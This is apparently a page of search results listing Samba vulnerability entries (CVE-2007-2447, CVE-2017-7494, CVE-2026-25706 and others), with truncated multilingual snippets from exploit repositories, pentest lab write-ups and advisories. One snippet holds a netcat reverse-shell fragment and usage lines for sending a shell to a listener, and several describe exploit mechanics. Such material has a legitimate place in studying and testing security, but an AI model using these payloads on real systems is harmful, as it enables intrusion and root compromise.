11557 matches found
CVE-2025-10230
CVE-2025-10230 CVE-2025-10230 の PoC - Samba WINS フックコマンドインジェクション この脆弱性に必要な設定は、おそらく0人にしか影響しません。インジェクションは15文字に制限されており、有効なWINS名である必要があるため、; は使用できません。...
cve-2007-2447
CVE-2007-2447 요구 사항 pysmb 정보 CVE-2007-2447은 Samba 3.0.0부터 3.0.25rc3까지의 버전에 영향을 미칩니다. 이 취약점으로 인해 공격자는 username 매개변수에서 셸 명령을 실행할 수 있습니다. 사용 방법 원하는 리스닝 포트를 열고, 스크립트의 변수를 설정한 후 스크립트를 실행하세요...
CVE-2007-2447
CVE-2007-2447 リモートコマンドインジェクションの脆弱性 CVE-2007-2447 により、リモート攻撃者はシェルのメタ文字を含むSambaユーザー名を指定することで任意のコマンドを実行できます。...
CVE-2017-7494_IT19115344
CVE-2017-7494IT19115344 Samba에서 원격 코드 실행 취약점이 발견되었습니다. 쓰기 권한이 있는 악의적인 인증된 Samba 클라이언트가 이 취약점을 이용하여 루트 권한으로 임의의 코드를 실행할 수 있습니다...
CVE-2007-2447
Sambaster cve-2007-2447 Samba 3.0.20 필수 모듈: root@kitploit: pysmb 설치되지 않았다면: root@kitploit: pip3 install pysmb 사용법: root@kitploit: python3 sambaster.py...
SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2
SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2 RedTeam-SMB-PenTest | ---|--- 描述 本项目记录了我在UMGC的CMIT 386课程中进行的渗透测试工作。它重点介绍了如何从Kali Linux攻击虚拟机使用Metasploit，利用Metasploitable 2上的Samba SMB usermapscript漏洞（CVE-2007-2447）。此概念验证展示了旧版漏洞如何导致系统完全受损、凭据窃取和数据外泄。 漏洞概述 该漏洞位于445端口上的Samba服务中，username...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 사용법 root@kitploit: 대상 10.129.232.46의 445번 포트를 공격하고, 10.10.14.82의 443번 포트로 리버스 셸 전송 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 사용자 지정 rport 및 lport 사용 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost...
CVE-2007-2447
CVE-2007-2447 PoC: Samba "usermap script" 원격 명령 실행 과거 CVE. 이 저장소에는 연구 및 교육적 검토를 위한 소규모 개념 증명PoC 스크립트가 포함되어 있습니다. 주요 스크립트는 usermapscriptCommandExecution.py입니다. 참고 자료: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 사용법 저장소를 클론하고 통제된 실습 환경에서 스크립트를 실행하세요. PoC는 선택적으로 LHOST:LPORT로의 리버스 셸...
Penetration-Testing-on-Metasploitable2
인턴십 프로젝트 2 — Metasploitable2 침투 테스트 요약: 이 프로젝트는 정찰, 열거, 익스플로잇, 사후 익스플로잇 검증 및 완화 권장 사항을 포함한 전체 침투 테스트 워크플로우를 보여줍니다. 사용된 대상은 Metasploitable2이고 공격 머신은 Kali Linux입니다. 도구: Kali Linux 공격자 Nmap 정찰 Metasploit Framework 익스플로잇 SearchSploit / Exploit-DB 분류 수행 단계: 1. 스캐닝: sudo nmap -sS -sV -p- -T4 --open -oA...
CVE-2007-2447
CVE-2007-2447 Samba 익스플로잇 Samba smbd 3.0.20-Debian을 대상으로 하는 CVE-2007-2447 익스플로잇의 독립 실행형 Rust 구현체입니다. 취약점 설명 CVE-2007-2447은 Samba 3.0.0부터 3.0.25rc3까지의 버전에 존재하는 명령 삽입command injection 취약점입니다. 이 취약점은 SamrChangePassword 함수에서 발생하며, 사용자 입력을 제대로 검증하지 못해 공격자가 SMB 인증 중 사용자 이름 필드의 셸 메타문자를 통해 임의의 명령을 실행할 수 ...
CVE-2007-2447
CVE-2007-2447 Samba 익스플로잇...
cfengine-CVE-2016-2118
+Title: CVE-2016-2118 인벤토리 및 수정 +SETUPFILE: /src/org-html-themes/setup/theme-readtheorg.setup file:./media/badlock.png 이 정책은 현재 설치된 패키지 버전이 알려진 취약 버전인지 확인하여 https://vulners.com/cve/CVE-2016-2118CVE-2016-2118일반적으로 http://badlock.orgBadlock으로 알려짐에 취약한 호스트를 탐지합니다. 수정 정책은 =samba=를 사용 가능한 =latest= 버전으...
pentest-writeups
pentest-writeups Kioptrix Level 1 분석 보고서 - CVE-2003-0201 Samba trans2open Kioptrix Level 1 — 침투 테스트 분석 보고서 저자: Amirbek Raxmatullayev @americo444 날짜: 2026-06-17 플랫폼: VulnHub 난이도: 초급 목표: root 권한 획득 1. 환경 설정 구성 요소| 세부 정보 ---|--- 호스트 OS| Ubuntu 26.04 하이퍼바이저| QEMU/KVM 대상| Kioptrix Level 1 VMDK 공격자 IP|...
metasploitable-pentest-lab
Metasploitable 취약점 악용 통제되고 격리된 환경에서의 실제 공격 전체 사이클: 실습 환경 준비, nmap을 통한 정찰, 공격 표면 우선순위 지정, CVE 매핑, Metasploit을 통한 악용, 후속 악용, 자격 증명 추출 및 크래킹, SSH 키 주입을 통한 지속성 확보. 1. 환경 준비 공격자 : Kali Linux — msfconsole, nmap, John the Ripper. 대상 : Metasploitable 1 — Ubuntu 8.042010, 패치되지 않았으며 알려진 CVE를 다수 보유. 네트워크 :...
CVE-2026-25706
Improper neutralization of special elements used in an OS command in yast2-samba-client allows an attacker who controls the content of an Active Directory directory tree - a rogue domain controller, or a directory user delegated the right to create objects - to execute arbitrary commands as root ...
CVE-2026-25706 yast2-samba-client: OS command injection via attacker-controlled Organizational Unit (Active Directory-supplied)
Improper neutralization of special elements used in an OS command in yast2-samba-client allows an attacker who controls the content of an Active Directory directory tree - a rogue domain controller, or a directory user delegated the right to create objects - to execute arbitrary commands as root ...
CVE-2026-25706
CVE-2026-25706 is an OS command injection in yast2-samba-client (SUSE), triggered when an attacker-controlled Organizational Unit (OU) value from an Active Directory directory tree is passed unsanitized to an OS command during interactive domain join. A rogue domain controller or a directory user...
EUVD-2026-69002
Improper neutralization of special elements used in an OS command in yast2-samba-client allows an attacker who controls the content of an Active Directory directory tree - a rogue domain controller, or a directory user delegated the right to create objects - to execute arbitrary commands as root ...
CVE-2017-7494
CVE-2017-7494 SAMBA CVE-2017-7494 취약점을 위한 원격 루트 익스플로잇. 세부사항 이 익스플로잇은 두 부분으로 나뉩니다: 첫째, 'implant.c'라는 페이로드를 컴파일하고, root 사용자로 전환하고, 부모 프로세스에서 분리한 후 리버스 셸을 생성하는 라이브러리libimplantx32.so 또는 libimplantx64.so를 생성합니다. 둘째, 지정된 대상 호스트에서 쓰기 가능한 공유를 찾아 라이브러리를 임의의 이름으로 업로드하고 로드를 시도합니다. 대상이 취약하고 페이로드가 대상 운영 체제 및...